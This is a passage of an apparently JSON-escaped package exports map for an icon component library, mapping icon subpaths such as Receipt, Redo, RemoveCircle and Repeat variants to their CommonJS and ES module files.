\"./RawOnTwoTone.mjs\",\n      \"default\": \"./RawOnTwoTone.mjs\"\n    },\n    \"./ReadMore\": {\n      \"require\": \"./ReadMore.js\",\n      \"import\": \"./ReadMore.mjs\",\n      \"default\": \"./ReadMore.mjs\"\n    },\n    \"./ReadMoreOutlined\": {\n      \"require\": \"./ReadMoreOutlined.js\",\n      \"import\": \"./ReadMoreOutlined.mjs\",\n      \"default\": \"./ReadMoreOutlined.mjs\"\n    },\n    \"./ReadMoreRounded\": {\n      \"require\": \"./ReadMoreRounded.js\",\n      \"import\": \"./ReadMoreRounded.mjs\",\n      \"default\": \"./ReadMoreRounded.mjs\"\n    },\n    \"./ReadMoreSharp\": {\n      \"require\": \"./ReadMoreSharp.js\",\n      \"import\": \"./ReadMoreSharp.mjs\",\n      \"default\": \"./ReadMoreSharp.mjs\"\n    },\n    \"./ReadMoreTwoTone\": {\n      \"require\": \"./ReadMoreTwoTone.js\",\n      \"import\": \"./ReadMoreTwoTone.mjs\",\n      \"default\": \"./ReadMoreTwoTone.mjs\"\n    },\n    \"./RealEstateAgent\": {\n      \"require\": \"./RealEstateAgent.js\",\n      \"import\": \"./RealEstateAgent.mjs\",\n      \"default\": \"./RealEstateAgent.mjs\"\n    },\n    \"./RealEstateAgentOutlined\": {\n      \"require\": \"./RealEstateAgentOutlined.js\",\n      \"import\": \"./RealEstateAgentOutlined.mjs\",\n      \"default\": \"./RealEstateAgentOutlined.mjs\"\n    },\n    \"./RealEstateAgentRounded\": {\n      \"require\": \"./RealEstateAgentRounded.js\",\n      \"import\": \"./RealEstateAgentRounded.mjs\",\n      \"default\": \"./RealEstateAgentRounded.mjs\"\n    },\n    \"./RealEstateAgentSharp\": {\n      \"require\": \"./RealEstateAgentSharp.js\",\n      \"import\": \"./RealEstateAgentSharp.mjs\",\n      \"default\": \"./RealEstateAgentSharp.mjs\"\n    },\n    \"./RealEstateAgentTwoTone\": {\n      \"require\": \"./RealEstateAgentTwoTone.js\",\n      \"import\": \"./RealEstateAgentTwoTone.mjs\",\n      \"default\": \"./RealEstateAgentTwoTone.mjs\"\n    },\n    \"./RebaseEdit\": {\n      \"require\": \"./RebaseEdit.js\",\n      \"import\": \"./RebaseEdit.mjs\",\n      \"default\": \"./RebaseEdit.mjs\"\n    },\n    \"./Receipt\": {\n      \"require\": \"./Receipt.js\",\n      \"import\": \"./Receipt.mjs\",\n      \"default\": \"./Receipt.mjs\"\n    },\n    \"./ReceiptLong\": {\n      \"require\": \"./ReceiptLong.js\",\n      \"import\": \"./ReceiptLong.mjs\",\n      \"default\": \"./ReceiptLong.mjs\"\n    },\n    \"./ReceiptLongOutlined\": {\n      \"require\": \"./ReceiptLongOutlined.js\",\n      \"import\": \"./ReceiptLongOutlined.mjs\",\n      \"default\": \"./ReceiptLongOutlined.mjs\"\n    },\n    \"./ReceiptLongRounded\": {\n      \"import\": \"./ReceiptLongRounded.mjs\",\n      \"require\": \"./ReceiptLongRounded.js\",\n      \"default\": \"./ReceiptLongRounded.mjs\"\n    },\n    \"./ReceiptLongSharp\": {\n      \"import\": \"./ReceiptLongSharp.mjs\",\n      \"require\": \"./ReceiptLongSharp.js\",\n      \"default\": \"./ReceiptLongSharp.mjs\"\n    },\n    \"./ReceiptLongTwoTone\": {\n      \"import\": \"./ReceiptLongTwoTone.mjs\",\n      \"require\": \"./ReceiptLongTwoTone.js\",\n      \"default\": \"./ReceiptLongTwoTone.mjs\"\n    },\n    \"./ReceiptOutlined\": {\n      \"import\": \"./ReceiptOutlined.mjs\",\n      \"require\": \"./ReceiptOutlined.js\",\n      \"default\": \"./ReceiptOutlined.mjs\"\n    },\n    \"./ReceiptRounded\": {\n      \"import\": \"./ReceiptRounded.mjs\",\n      \"require\": \"./ReceiptRounded.js\",\n      \"default\": \"./ReceiptRounded.mjs\"\n    },\n    \"./ReceiptSharp\": {\n      \"import\": \"./ReceiptSharp.mjs\",\n      \"require\": \"./ReceiptSharp.js\",\n      \"default\": \"./ReceiptSharp.mjs\"\n    },\n    \"./ReceiptTwoTone\": {\n      \"import\": \"./ReceiptTwoTone.mjs\",\n      \"require\": \"./ReceiptTwoTone.js\",\n      \"default\": \"./ReceiptTwoTone.mjs\"\n    },\n    \"./RecentActors\": {\n      \"import\": \"./RecentActors.mjs\",\n      \"require\": \"./RecentActors.js\",\n      \"default\": \"./RecentActors.mjs\"\n    },\n    \"./RecentActorsOutlined\": {\n      \"import\": \"./RecentActorsOutlined.mjs\",\n      \"require\": \"./RecentActorsOutlined.js\",\n      \"default\": \"./RecentActorsOutlined.mjs\"\n    },\n    \"./RecentActorsRounded\": {\n      \"import\": \"./RecentActorsRounded.mjs\",\n      \"require\": \"./RecentActorsRounded.js\",\n      \"default\": \"./RecentActorsRounded.mjs\"\n    },\n    \"./RecentActorsSharp\": {\n      \"import\": \"./RecentActorsSharp.mjs\",\n      \"require\": \"./RecentActorsSharp.js\",\n      \"default\": \"./RecentActorsSharp.mjs\"\n    },\n    \"./RecentActorsTwoTone\": {\n      \"import\": \"./RecentActorsTwoTone.mjs\",\n      \"require\": \"./RecentActorsTwoTone.js\",\n      \"default\": \"./RecentActorsTwoTone.mjs\"\n    },\n    \"./Recommend\": {\n      \"import\": \"./Recommend.mjs\",\n      \"require\": \"./Recommend.js\",\n      \"default\": \"./Recommend.mjs\"\n    },\n    \"./RecommendOutlined\": {\n      \"import\": \"./RecommendOutlined.mjs\",\n      \"require\": \"./RecommendOutlined.js\",\n      \"default\": \"./RecommendOutlined.mjs\"\n    },\n    \"./RecommendRounded\": {\n      \"import\": \"./RecommendRounded.mjs\",\n      \"require\": \"./RecommendRounded.js\",\n      \"default\": \"./RecommendRounded.mjs\"\n    },\n    \"./RecommendSharp\": {\n      \"import\": \"./RecommendSharp.mjs\",\n      \"require\": \"./RecommendSharp.js\",\n      \"default\": \"./RecommendSharp.mjs\"\n    },\n    \"./RecommendTwoTone\": {\n      \"import\": \"./RecommendTwoTone.mjs\",\n      \"require\": \"./RecommendTwoTone.js\",\n      \"default\": \"./RecommendTwoTone.mjs\"\n    },\n    \"./RecordVoiceOver\": {\n      \"import\": \"./RecordVoiceOver.mjs\",\n      \"require\": \"./RecordVoiceOver.js\",\n      \"default\": \"./RecordVoiceOver.mjs\"\n    },\n    \"./RecordVoiceOverOutlined\": {\n      \"import\": \"./RecordVoiceOverOutlined.mjs\",\n      \"require\": \"./RecordVoiceOverOutlined.js\",\n      \"default\": \"./RecordVoiceOverOutlined.mjs\"\n    },\n    \"./RecordVoiceOverRounded\": {\n      \"import\": \"./RecordVoiceOverRounded.mjs\",\n      \"require\": \"./RecordVoiceOverRounded.js\",\n      \"default\": \"./RecordVoiceOverRounded.mjs\"\n    },\n    \"./RecordVoiceOverSharp\": {\n      \"import\": \"./RecordVoiceOverSharp.mjs\",\n      \"require\": \"./RecordVoiceOverSharp.js\",\n      \"default\": \"./RecordVoiceOverSharp.mjs\"\n    },\n    \"./RecordVoiceOverTwoTone\": {\n      \"import\": \"./RecordVoiceOverTwoTone.mjs\",\n      \"require\": \"./RecordVoiceOverTwoTone.js\",\n      \"default\": \"./RecordVoiceOverTwoTone.mjs\"\n    },\n    \"./Rectangle\": {\n      \"import\": \"./Rectangle.mjs\",\n      \"require\": \"./Rectangle.js\",\n      \"default\": \"./Rectangle.mjs\"\n    },\n    \"./RectangleOutlined\": {\n      \"import\": \"./RectangleOutlined.mjs\",\n      \"require\": \"./RectangleOutlined.js\",\n      \"default\": \"./RectangleOutlined.mjs\"\n    },\n    \"./RectangleRounded\": {\n      \"require\": \"./RectangleRounded.js\",\n      \"import\": \"./RectangleRounded.mjs\",\n      \"default\": \"./RectangleRounded.mjs\"\n    },\n    \"./RectangleSharp\": {\n      \"require\": \"./RectangleSharp.js\",\n      \"import\": \"./RectangleSharp.mjs\",\n      \"default\": \"./RectangleSharp.mjs\"\n    },\n    \"./RectangleTwoTone\": {\n      \"require\": \"./RectangleTwoTone.js\",\n      \"import\": \"./RectangleTwoTone.mjs\",\n      \"default\": \"./RectangleTwoTone.mjs\"\n    },\n    \"./Recycling\": {\n      \"import\": \"./Recycling.mjs\",\n      \"require\": \"./Recycling.js\",\n      \"default\": \"./Recycling.mjs\"\n    },\n    \"./RecyclingOutlined\": {\n      \"import\": \"./RecyclingOutlined.mjs\",\n      \"require\": \"./RecyclingOutlined.js\",\n      \"default\": \"./RecyclingOutlined.mjs\"\n    },\n    \"./RecyclingRounded\": {\n      \"import\": \"./RecyclingRounded.mjs\",\n      \"require\": \"./RecyclingRounded.js\",\n      \"default\": \"./RecyclingRounded.mjs\"\n    },\n    \"./RecyclingSharp\": {\n      \"require\": \"./RecyclingSharp.js\",\n      \"import\": \"./RecyclingSharp.mjs\",\n      \"default\": \"./RecyclingSharp.mjs\"\n    },\n    \"./RecyclingTwoTone\": {\n      \"require\": \"./RecyclingTwoTone.js\",\n      \"import\": \"./RecyclingTwoTone.mjs\",\n      \"default\": \"./RecyclingTwoTone.mjs\"\n    },\n    \"./Reddit\": {\n      \"require\": \"./Reddit.js\",\n      \"import\": \"./Reddit.mjs\",\n      \"default\": \"./Reddit.mjs\"\n    },\n    \"./Redeem\": {\n      \"require\": \"./Redeem.js\",\n      \"import\": \"./Redeem.mjs\",\n      \"default\": \"./Redeem.mjs\"\n    },\n    \"./RedeemOutlined\": {\n      \"require\": \"./RedeemOutlined.js\",\n      \"import\": \"./RedeemOutlined.mjs\",\n      \"default\": \"./RedeemOutlined.mjs\"\n    },\n    \"./RedeemRounded\": {\n      \"import\": \"./RedeemRounded.mjs\",\n      \"require\": \"./RedeemRounded.js\",\n      \"default\": \"./RedeemRounded.mjs\"\n    },\n    \"./RedeemSharp\": {\n      \"require\": \"./RedeemSharp.js\",\n      \"import\": \"./RedeemSharp.mjs\",\n      \"default\": \"./RedeemSharp.mjs\"\n    },\n    \"./RedeemTwoTone\": {\n      \"require\": \"./RedeemTwoTone.js\",\n      \"import\": \"./RedeemTwoTone.mjs\",\n      \"default\": \"./RedeemTwoTone.mjs\"\n    },\n    \"./Redo\": {\n      \"require\": \"./Redo.js\",\n      \"import\": \"./Redo.mjs\",\n      \"default\": \"./Redo.mjs\"\n    },\n    \"./RedoOutlined\": {\n      \"require\": \"./RedoOutlined.js\",\n      \"import\": \"./RedoOutlined.mjs\",\n      \"default\": \"./RedoOutlined.mjs\"\n    },\n    \"./RedoRounded\": {\n      \"require\": \"./RedoRounded.js\",\n      \"import\": \"./RedoRounded.mjs\",\n      \"default\": \"./RedoRounded.mjs\"\n    },\n    \"./RedoSharp\": {\n      \"require\": \"./RedoSharp.js\",\n      \"import\": \"./RedoSharp.mjs\",\n      \"default\": \"./RedoSharp.mjs\"\n    },\n    \"./RedoTwoTone\": {\n      \"require\": \"./RedoTwoTone.js\",\n      \"import\": \"./RedoTwoTone.mjs\",\n      \"default\": \"./RedoTwoTone.mjs\"\n    },\n    \"./ReduceCapacity\": {\n      \"require\": \"./ReduceCapacity.js\",\n      \"import\": \"./ReduceCapacity.mjs\",\n      \"default\": \"./ReduceCapacity.mjs\"\n    },\n    \"./ReduceCapacityOutlined\": {\n      \"require\": \"./ReduceCapacityOutlined.js\",\n      \"import\": \"./ReduceCapacityOutlined.mjs\",\n      \"default\": \"./ReduceCapacityOutlined.mjs\"\n    },\n    \"./ReduceCapacityRounded\": {\n      \"require\": \"./ReduceCapacityRounded.js\",\n      \"import\": \"./ReduceCapacityRounded.mjs\",\n      \"default\": \"./ReduceCapacityRounded.mjs\"\n    },\n    \"./ReduceCapacitySharp\": {\n      \"require\": \"./ReduceCapacitySharp.js\",\n      \"import\": \"./ReduceCapacitySharp.mjs\",\n      \"default\": \"./ReduceCapacitySharp.mjs\"\n    },\n    \"./ReduceCapacityTwoTone\": {\n      \"require\": \"./ReduceCapacityTwoTone.js\",\n      \"import\": \"./ReduceCapacityTwoTone.mjs\",\n      \"default\": \"./ReduceCapacityTwoTone.mjs\"\n    },\n    \"./Refresh\": {\n      \"require\": \"./Refresh.js\",\n      \"import\": \"./Refresh.mjs\",\n      \"default\": \"./Refresh.mjs\"\n    },\n    \"./RefreshOutlined\": {\n      \"require\": \"./RefreshOutlined.js\",\n      \"import\": \"./RefreshOutlined.mjs\",\n      \"default\": \"./RefreshOutlined.mjs\"\n    },\n    \"./RefreshRounded\": {\n      \"require\": \"./RefreshRounded.js\",\n      \"import\": \"./RefreshRounded.mjs\",\n      \"default\": \"./RefreshRounded.mjs\"\n    },\n    \"./RefreshSharp\": {\n      \"require\": \"./RefreshSharp.js\",\n      \"import\": \"./RefreshSharp.mjs\",\n      \"default\": \"./RefreshSharp.mjs\"\n    },\n    \"./RefreshTwoTone\": {\n      \"require\": \"./RefreshTwoTone.js\",\n      \"import\": \"./RefreshTwoTone.mjs\",\n      \"default\": \"./RefreshTwoTone.mjs\"\n    },\n    \"./RememberMe\": {\n      \"require\": \"./RememberMe.js\",\n      \"import\": \"./RememberMe.mjs\",\n      \"default\": \"./RememberMe.mjs\"\n    },\n    \"./RememberMeOutlined\": {\n      \"require\": \"./RememberMeOutlined.js\",\n      \"import\": \"./RememberMeOutlined.mjs\",\n      \"default\": \"./RememberMeOutlined.mjs\"\n    },\n    \"./RememberMeRounded\": {\n      \"require\": \"./RememberMeRounded.js\",\n      \"import\": \"./RememberMeRounded.mjs\",\n      \"default\": \"./RememberMeRounded.mjs\"\n    },\n    \"./RememberMeSharp\": {\n      \"require\": \"./RememberMeSharp.js\",\n      \"import\": \"./RememberMeSharp.mjs\",\n      \"default\": \"./RememberMeSharp.mjs\"\n    },\n    \"./RememberMeTwoTone\": {\n      \"import\": \"./RememberMeTwoTone.mjs\",\n      \"require\": \"./RememberMeTwoTone.js\",\n      \"default\": \"./RememberMeTwoTone.mjs\"\n    },\n    \"./Remove\": {\n      \"import\": \"./Remove.mjs\",\n      \"require\": \"./Remove.js\",\n      \"default\": \"./Remove.mjs\"\n    },\n    \"./RemoveCircle\": {\n      \"import\": \"./RemoveCircle.mjs\",\n      \"require\": \"./RemoveCircle.js\",\n      \"default\": \"./RemoveCircle.mjs\"\n    },\n    \"./RemoveCircleOutline\": {\n      \"import\": \"./RemoveCircleOutline.mjs\",\n      \"require\": \"./RemoveCircleOutline.js\",\n      \"default\": \"./RemoveCircleOutline.mjs\"\n    },\n    \"./RemoveCircleOutlineOutlined\": {\n      \"import\": \"./RemoveCircleOutlineOutlined.mjs\",\n      \"require\": \"./RemoveCircleOutlineOutlined.js\",\n      \"default\": \"./RemoveCircleOutlineOutlined.mjs\"\n    },\n    \"./RemoveCircleOutlineRounded\": {\n      \"import\": \"./RemoveCircleOutlineRounded.mjs\",\n      \"require\": \"./RemoveCircleOutlineRounded.js\",\n      \"default\": \"./RemoveCircleOutlineRounded.mjs\"\n    },\n    \"./RemoveCircleOutlineSharp\": {\n      \"import\": \"./RemoveCircleOutlineSharp.mjs\",\n      \"require\": \"./RemoveCircleOutlineSharp.js\",\n      \"default\": \"./RemoveCircleOutlineSharp.mjs\"\n    },\n    \"./RemoveCircleOutlineTwoTone\": {\n      \"import\": \"./RemoveCircleOutlineTwoTone.mjs\",\n      \"require\": \"./RemoveCircleOutlineTwoTone.js\",\n      \"default\": \"./RemoveCircleOutlineTwoTone.mjs\"\n    },\n    \"./RemoveCircleOutlined\": {\n      \"import\": \"./RemoveCircleOutlined.mjs\",\n      \"require\": \"./RemoveCircleOutlined.js\",\n      \"default\": \"./RemoveCircleOutlined.mjs\"\n    },\n    \"./RemoveCircleRounded\": {\n      \"import\": \"./RemoveCircleRounded.mjs\",\n      \"require\": \"./RemoveCircleRounded.js\",\n      \"default\": \"./RemoveCircleRounded.mjs\"\n    },\n    \"./RemoveCircleSharp\": {\n      \"import\": \"./RemoveCircleSharp.mjs\",\n      \"require\": \"./RemoveCircleSharp.js\",\n      \"default\": \"./RemoveCircleSharp.mjs\"\n    },\n    \"./RemoveCircleTwoTone\": {\n      \"import\": \"./RemoveCircleTwoTone.mjs\",\n      \"require\": \"./RemoveCircleTwoTone.js\",\n      \"default\": \"./RemoveCircleTwoTone.mjs\"\n    },\n    \"./RemoveDone\": {\n      \"import\": \"./RemoveDone.mjs\",\n      \"require\": \"./RemoveDone.js\",\n      \"default\": \"./RemoveDone.mjs\"\n    },\n    \"./RemoveDoneOutlined\": {\n      \"import\": \"./RemoveDoneOutlined.mjs\",\n      \"require\": \"./RemoveDoneOutlined.js\",\n      \"default\": \"./RemoveDoneOutlined.mjs\"\n    },\n    \"./RemoveDoneRounded\": {\n      \"import\": \"./RemoveDoneRounded.mjs\",\n      \"require\": \"./RemoveDoneRounded.js\",\n      \"default\": \"./RemoveDoneRounded.mjs\"\n    },\n    \"./RemoveDoneSharp\": {\n      \"import\": \"./RemoveDoneSharp.mjs\",\n      \"require\": \"./RemoveDoneSharp.js\",\n      \"default\": \"./RemoveDoneSharp.mjs\"\n    },\n    \"./RemoveDoneTwoTone\": {\n      \"import\": \"./RemoveDoneTwoTone.mjs\",\n      \"require\": \"./RemoveDoneTwoTone.js\",\n      \"default\": \"./RemoveDoneTwoTone.mjs\"\n    },\n    \"./RemoveFromQueue\": {\n      \"require\": \"./RemoveFromQueue.js\",\n      \"import\": \"./RemoveFromQueue.mjs\",\n      \"default\": \"./RemoveFromQueue.mjs\"\n    },\n    \"./RemoveFromQueueOutlined\": {\n      \"require\": \"./RemoveFromQueueOutlined.js\",\n      \"import\": \"./RemoveFromQueueOutlined.mjs\",\n      \"default\": \"./RemoveFromQueueOutlined.mjs\"\n    },\n    \"./RemoveFromQueueRounded\": {\n      \"require\": \"./RemoveFromQueueRounded.js\",\n      \"import\": \"./RemoveFromQueueRounded.mjs\",\n      \"default\": \"./RemoveFromQueueRounded.mjs\"\n    },\n    \"./RemoveFromQueueSharp\": {\n      \"require\": \"./RemoveFromQueueSharp.js\",\n      \"import\": \"./RemoveFromQueueSharp.mjs\",\n      \"default\": \"./RemoveFromQueueSharp.mjs\"\n    },\n    \"./RemoveFromQueueTwoTone\": {\n      \"require\": \"./RemoveFromQueueTwoTone.js\",\n      \"import\": \"./RemoveFromQueueTwoTone.mjs\",\n      \"default\": \"./RemoveFromQueueTwoTone.mjs\"\n    },\n    \"./RemoveModerator\": {\n      \"import\": \"./RemoveModerator.mjs\",\n      \"require\": \"./RemoveModerator.js\",\n      \"default\": \"./RemoveModerator.mjs\"\n    },\n    \"./RemoveModeratorOutlined\": {\n      \"import\": \"./RemoveModeratorOutlined.mjs\",\n      \"require\": \"./RemoveModeratorOutlined.js\",\n      \"default\": \"./RemoveModeratorOutlined.mjs\"\n    },\n    \"./RemoveModeratorRounded\": {\n      \"import\": \"./RemoveModeratorRounded.mjs\",\n      \"require\": \"./RemoveModeratorRounded.js\",\n      \"default\": \"./RemoveModeratorRounded.mjs\"\n    },\n    \"./RemoveModeratorSharp\": {\n      \"import\": \"./RemoveModeratorSharp.mjs\",\n      \"require\": \"./RemoveModeratorSharp.js\",\n      \"default\": \"./RemoveModeratorSharp.mjs\"\n    },\n    \"./RemoveModeratorTwoTone\": {\n      \"import\": \"./RemoveModeratorTwoTone.mjs\",\n      \"require\": \"./RemoveModeratorTwoTone.js\",\n      \"default\": \"./RemoveModeratorTwoTone.mjs\"\n    },\n    \"./RemoveOutlined\": {\n      \"import\": \"./RemoveOutlined.mjs\",\n      \"require\": \"./RemoveOutlined.js\",\n      \"default\": \"./RemoveOutlined.mjs\"\n    },\n    \"./RemoveRedEye\": {\n      \"import\": \"./RemoveRedEye.mjs\",\n      \"require\": \"./RemoveRedEye.js\",\n      \"default\": \"./RemoveRedEye.mjs\"\n    },\n    \"./RemoveRedEyeOutlined\": {\n      \"import\": \"./RemoveRedEyeOutlined.mjs\",\n      \"require\": \"./RemoveRedEyeOutlined.js\",\n      \"default\": \"./RemoveRedEyeOutlined.mjs\"\n    },\n    \"./RemoveRedEyeRounded\": {\n      \"import\": \"./RemoveRedEyeRounded.mjs\",\n      \"require\": \"./RemoveRedEyeRounded.js\",\n      \"default\": \"./RemoveRedEyeRounded.mjs\"\n    },\n    \"./RemoveRedEyeSharp\": {\n      \"import\": \"./RemoveRedEyeSharp.mjs\",\n      \"require\": \"./RemoveRedEyeSharp.js\",\n      \"default\": \"./RemoveRedEyeSharp.mjs\"\n    },\n    \"./RemoveRedEyeTwoTone\": {\n      \"import\": \"./RemoveRedEyeTwoTone.mjs\",\n      \"require\": \"./RemoveRedEyeTwoTone.js\",\n      \"default\": \"./RemoveRedEyeTwoTone.mjs\"\n    },\n    \"./RemoveRoad\": {\n      \"import\": \"./RemoveRoad.mjs\",\n      \"require\": \"./RemoveRoad.js\",\n      \"default\": \"./RemoveRoad.mjs\"\n    },\n    \"./RemoveRoadOutlined\": {\n      \"import\": \"./RemoveRoadOutlined.mjs\",\n      \"require\": \"./RemoveRoadOutlined.js\",\n      \"default\": \"./RemoveRoadOutlined.mjs\"\n    },\n    \"./RemoveRoadRounded\": {\n      \"require\": \"./RemoveRoadRounded.js\",\n      \"import\": \"./RemoveRoadRounded.mjs\",\n      \"default\": \"./RemoveRoadRounded.mjs\"\n    },\n    \"./RemoveRoadSharp\": {\n      \"require\": \"./RemoveRoadSharp.js\",\n      \"import\": \"./RemoveRoadSharp.mjs\",\n      \"default\": \"./RemoveRoadSharp.mjs\"\n    },\n    \"./RemoveRoadTwoTone\": {\n      \"require\": \"./RemoveRoadTwoTone.js\",\n      \"import\": \"./RemoveRoadTwoTone.mjs\",\n      \"default\": \"./RemoveRoadTwoTone.mjs\"\n    },\n    \"./RemoveRounded\": {\n      \"import\": \"./RemoveRounded.mjs\",\n      \"require\": \"./RemoveRounded.js\",\n      \"default\": \"./RemoveRounded.mjs\"\n    },\n    \"./RemoveSharp\": {\n      \"import\": \"./RemoveSharp.mjs\",\n      \"require\": \"./RemoveSharp.js\",\n      \"default\": \"./RemoveSharp.mjs\"\n    },\n    \"./RemoveShoppingCart\": {\n      \"import\": \"./RemoveShoppingCart.mjs\",\n      \"require\": \"./RemoveShoppingCart.js\",\n      \"default\": \"./RemoveShoppingCart.mjs\"\n    },\n    \"./RemoveShoppingCartOutlined\": {\n      \"import\": \"./RemoveShoppingCartOutlined.mjs\",\n      \"require\": \"./RemoveShoppingCartOutlined.js\",\n      \"default\": \"./RemoveShoppingCartOutlined.mjs\"\n    },\n    \"./RemoveShoppingCartRounded\": {\n      \"require\": \"./RemoveShoppingCartRounded.js\",\n      \"import\": \"./RemoveShoppingCartRounded.mjs\",\n      \"default\": \"./RemoveShoppingCartRounded.mjs\"\n    },\n    \"./RemoveShoppingCartSharp\": {\n      \"require\": \"./RemoveShoppingCartSharp.js\",\n      \"import\": \"./RemoveShoppingCartSharp.mjs\",\n      \"default\": \"./RemoveShoppingCartSharp.mjs\"\n    },\n    \"./RemoveShoppingCartTwoTone\": {\n      \"require\": \"./RemoveShoppingCartTwoTone.js\",\n      \"import\": \"./RemoveShoppingCartTwoTone.mjs\",\n      \"default\": \"./RemoveShoppingCartTwoTone.mjs\"\n    },\n    \"./RemoveTwoTone\": {\n      \"require\": \"./RemoveTwoTone.js\",\n      \"import\": \"./RemoveTwoTone.mjs\",\n      \"default\": \"./RemoveTwoTone.mjs\"\n    },\n    \"./Reorder\": {\n      \"require\": \"./Reorder.js\",\n      \"import\": \"./Reorder.mjs\",\n      \"default\": \"./Reorder.mjs\"\n    },\n    \"./ReorderOutlined\": {\n      \"require\": \"./ReorderOutlined.js\",\n      \"import\": \"./ReorderOutlined.mjs\",\n      \"default\": \"./ReorderOutlined.mjs\"\n    },\n    \"./ReorderRounded\": {\n      \"require\": \"./ReorderRounded.js\",\n      \"import\": \"./ReorderRounded.mjs\",\n      \"default\": \"./ReorderRounded.mjs\"\n    },\n    \"./ReorderSharp\": {\n      \"require\": \"./ReorderSharp.js\",\n      \"import\": \"./ReorderSharp.mjs\",\n      \"default\": \"./ReorderSharp.mjs\"\n    },\n    \"./ReorderTwoTone\": {\n      \"require\": \"./ReorderTwoTone.js\",\n      \"import\": \"./ReorderTwoTone.mjs\",\n      \"default\": \"./ReorderTwoTone.mjs\"\n    },\n    \"./Repartition\": {\n      \"require\": \"./Repartition.js\",\n      \"import\": \"./Repartition.mjs\",\n      \"default\": \"./Repartition.mjs\"\n    },\n    \"./RepartitionOutlined\": {\n      \"require\": \"./RepartitionOutlined.js\",\n      \"import\": \"./RepartitionOutlined.mjs\",\n      \"default\": \"./RepartitionOutlined.mjs\"\n    },\n    \"./RepartitionRounded\": {\n      \"require\": \"./RepartitionRounded.js\",\n      \"import\": \"./RepartitionRounded.mjs\",\n      \"default\": \"./RepartitionRounded.mjs\"\n    },\n    \"./RepartitionSharp\": {\n      \"require\": \"./RepartitionSharp.js\",\n      \"import\": \"./RepartitionSharp.mjs\",\n      \"default\": \"./RepartitionSharp.mjs\"\n    },\n    \"./RepartitionTwoTone\": {\n      \"require\": \"./RepartitionTwoTone.js\",\n      \"import\": \"./RepartitionTwoTone.mjs\",\n      \"default\": \"./RepartitionTwoTone.mjs\"\n    },\n    \"./Repeat\": {\n      \"require\": \"./Repeat.js\",\n      \"import\": \"./Repeat.mjs\",\n      \"default\": \"./Repeat.mjs\"\n    },\n    \"./RepeatOn\": {\n      \"require\": \"./RepeatOn.js\",\n      \"import\": \"./RepeatOn.mjs\",\n      \"default\": \"./RepeatOn.mjs\"\n    },\n    \"./RepeatOnOutlined\": {\n      \"import\": \"./RepeatOnOutlined.mjs\",\n      \"require\": \"./RepeatOnOutlined.js\",\n      \"default\": \"./RepeatOnOutlined.mjs\"\n    },\n    \"./RepeatOnRounded\": {\n      \"import\": \"./RepeatOnRounded.mjs\",\n      \"require\": \"./RepeatOnRounded.js\",\n      \"default\": \"./RepeatOnRounded.mjs\"\n    },\n    \"./RepeatOnSharp\": {\n      \"require\": \"./RepeatOnSharp.js\",\n      \"import\": \"./RepeatOnSharp.mjs\",\n      \"default\": \"./RepeatOnSharp.mjs\"\n    },\n    \"./RepeatOnTwoTone\": {\n      \"require\": \"./RepeatOnTwoTone.js\",\n      \"import\": \"./RepeatOnTwoTone.mjs\",\n      \"default\": \"./RepeatOnTwoTone.mjs\"\n    },\n    \"./RepeatOne\": {\n      \"require\": \"./RepeatOne.js\",\n      \"import\": \"./RepeatOne.mjs\",\n      \"default\": \"./RepeatOne.mjs\"\n    },\n    \"./RepeatOneOn\": {\n      \"require\": \"./RepeatOneOn.js\",\n      \"import\": \"./RepeatOneOn.mjs\",\n      \"default\": \"./RepeatOneOn.mjs\"\n    },\n    \"./RepeatOneOnOutlined\": {\n      \"require\": \"./RepeatOneOnOutlined.js\",\n      \"import\": \"./RepeatOneOnOutlined.mjs\",\n      \"default\": \"./RepeatOneOnOutlined.mjs\"\n    },\n    \"./RepeatOneOnRounded\": {\n      \"require\": \"./RepeatOneOnRounded.js\",\n      \"import\": \"./RepeatOneOnRounded.mjs\",\n      \"default\": \"./RepeatOneOnRounded.mjs\"\n    },\n    \"./RepeatOneOnSharp\": {\n      \"require\": \"./RepeatOneOnSharp.js\",\n      \"import\": \"./RepeatOneOnSharp.mjs\",\n      \"default\": \"./RepeatOneOnSharp.mjs\"\n    },\n    \"./RepeatOneOnTwoTone\": {\n      \"require\": \"./RepeatOneOnTwoTone.js\",\n      \"import\": \"./RepeatOneOnTwoTone.mjs\",\n      \"default\": \"./RepeatOneOnTwoTone.mjs\"\n    },\n    \"./RepeatOneOutlined\": {\n      \"require\": \"./RepeatOneOutlined.js\",\n      \"import\": \"./RepeatOneOutlined.mjs\",\n      \"default\": \"./RepeatOneOutlined.mjs\"\n    },\n    \"./RepeatOneRounded\": {\n      \"require\": \"./RepeatOneRounded.js\",\n      \"import\": \"./RepeatOneRounded.mjs\",\n      \"default\": \"./RepeatOneRounded.mjs\"\n    },\n    \"./RepeatOneSharp\": {\n      \"require\": \"./RepeatOneSharp.js\",\n      \"import\": \"./RepeatOneSharp.mjs\",\n      \"default\": \"./RepeatOneSharp.mjs\"\n    },\n    \"./RepeatOneTwoTone\": {\n      \"require\": \"./RepeatOneTwoTone.js\",\n      \"import\": \"./RepeatOneTwoTone.mjs\",\n      \"default\": \"./RepeatOneTwoTone.mjs\"\n    },\n    \"./RepeatOutlined\": {\n      \"require\": \"./RepeatOutlined.js\",\n      \"import\": \"./RepeatOutlined.mjs\",\n      \"default\": \"./RepeatOutlined.mjs\"\n    },\n    \"./RepeatRounded\": {\n      \"require\": \"./RepeatRounded.js\",\n      \"import\": \"./RepeatRounded.mjs\",\n      \"default\": \"./RepeatRounded.mjs\"\n    },\n    \"./RepeatSharp\": {\n      \"require\": \"./RepeatSharp.js\",\n      \"import\": \"./RepeatSharp.mjs\",\n      \"default\": \"./RepeatSharp.mjs\"\n    },\n    \"./RepeatTwoTone\": {\n      \"require\": \"./RepeatTwoTone.js\",\n      \"import\": \"./RepeatTwoTone.mjs\",\n      \"default\": \"./RepeatTwoTone.mjs\"\n    },\n    \"./Replay\": {\n      \"require\": \"./Replay.js\",\n      \"import\": \"./Replay.mjs\",\n      \"default\": \"./Replay.mjs\"\n    },\n    \"./Replay10\": {\n      \"require\": \"./Replay10.js\",\n      \"import\": \"./Replay10.mjs\",\n      \"default\": \"./Replay10.mjs\"\n    },\n    \"./Replay10Outlined\": {\n      \"require\": \"./Replay10Outlined.js\",\n      \"import\": \"./Replay10Outlined.mjs\",\n      \"default\": \"./Replay10Outlined.mjs\"\n    },\n    \"./Replay10Rounded\": {\n      \"require\": \"./Replay10Rounded.js\",\n      \"import\": \"./Replay10Rounded.mjs\",\n      \"default\": \"./Replay10Rounded.mjs\"\n    },\n    \"./Replay10Sharp\": {\n      \"require\": \"./Replay10Sharp.js\",\n      \"import\": \"./Replay10Sharp.mjs\",\n      \"default\": 